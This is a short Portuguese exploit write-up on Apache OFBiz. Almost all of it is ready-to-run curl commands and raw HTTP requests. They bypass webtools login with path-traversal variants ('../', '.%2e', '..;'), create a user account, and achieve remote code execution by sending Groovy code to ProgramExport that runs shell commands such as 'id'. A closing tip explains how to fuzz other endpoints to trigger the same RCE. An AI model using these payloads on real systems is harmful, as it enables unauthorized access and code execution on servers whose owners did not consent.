
Vulnerabilidades do Apache OfBiz
Os parâmetros USERNAME e PASSWORD podem ser fornecidos na interface /ecomseo/AnonContactus, que é publicamente acessível a qualquer pessoa.
POC1:RCE
curl --noproxy '*' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/../../../%2e/webtools/control/ProgramExport' \
--header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
--header 'Accept: */*' \
--header 'Host: 127.0.0.1:8443' \
--header 'Connection: keep-alive' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '[email protected]' \
--data-urlencode 'JavaScriptEnabled=Y' \
--data-urlencode 'PASSWORD=12345' \
--data-urlencode 'groovyProgram=println (('\''tou'\'' + '\''ch /tmp/success'\'').execute().text);'
POC2:Você pode contornar o login para acessar a interface de gerenciamento restrita do webtools.
curl --noproxy '*' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/../../../%2e/webtools/control/login/' \
--header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
--header 'Accept: */*' \
--header 'Host: 127.0.0.1:8443' \
--header 'Connection: keep-alive' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '[email protected]' \
--data-urlencode 'PASSWORD=12345' \
--data-urlencode 'JavaScriptEnabled=Y'
POC3:Você pode registrar uma conta de usuário comum, onde userLoginId é o nome de usuário.
curl --noproxy '*' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/../../../%2e/webtools/control/createUserLogin' \
--header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
--header 'Accept: */*' \
--header 'Host: 127.0.0.1:8443' \
--header 'Connection: keep-alive' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '[email protected]' \
--data-urlencode 'PASSWORD=12345' \
--data-urlencode 'JavaScriptEnabled=Y' \
--data-urlencode 'enabled=Y' \
--data-urlencode 'partyId=' \
--data-urlencode 'userLoginId=30000' \
--data-urlencode 'currentPassword=12345' \
--data-urlencode 'currentPasswordVerify=12345' \
--data-urlencode 'passwordHint=' \
--data-urlencode 'requirePasswordChange=N' \
--data-urlencode 'securityQuestion=' \
--data-urlencode 'SecurityAnswer=' \
--data-urlencode 'externalAuthId='
RCE1
curl --noproxy '*' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/.%2e/.%2e/.%2e/webtools/control/ProgramExport' \
--header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
--header 'Accept: */*' \
--header 'Host: 127.0.0.1:8443' \
--header 'Connection: keep-alive' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '[email protected]' \
--data-urlencode 'JavaScriptEnabled=Y' \
--data-urlencode 'PASSWORD=12345' \
--data-urlencode 'groovyProgram=println (('\''tou'\'' + '\''ch /tmp/success'\'').execute().text);'
RCE2
curl --noproxy '*' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/..;/..;/..;/webtools/control/ProgramExport' \
--header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
--header 'Accept: */*' \
--header 'Host: 127.0.0.1:8443' \
--header 'Connection: keep-alive' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '[email protected]' \
--data-urlencode 'JavaScriptEnabled=Y' \
--data-urlencode 'PASSWORD=12345' \
--data-urlencode 'groovyProgram=println (('\''tou'\'' + '\''ch /tmp/success'\'').execute().text);'
PS: ; fará com que a definição de cookie lance uma exceção; você precisa obter o cookie manualmente.


RCE
POST /webtools/control/forgotPassword/ProgramExport HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1:8443
groovyProgram=throw+new+Exception('id'.execute().text);
PS:O forgotPassword pode ser substituído por outras requisições. Você pode tentar pesquisá-lo em webapp/webtools/WEB-INF/controller.xml (como mostrado na imagem) para realizar fuzzing. Desde que a requisição retorne success com sucesso, ela pode acionar RCE no módulo ProgramExport.
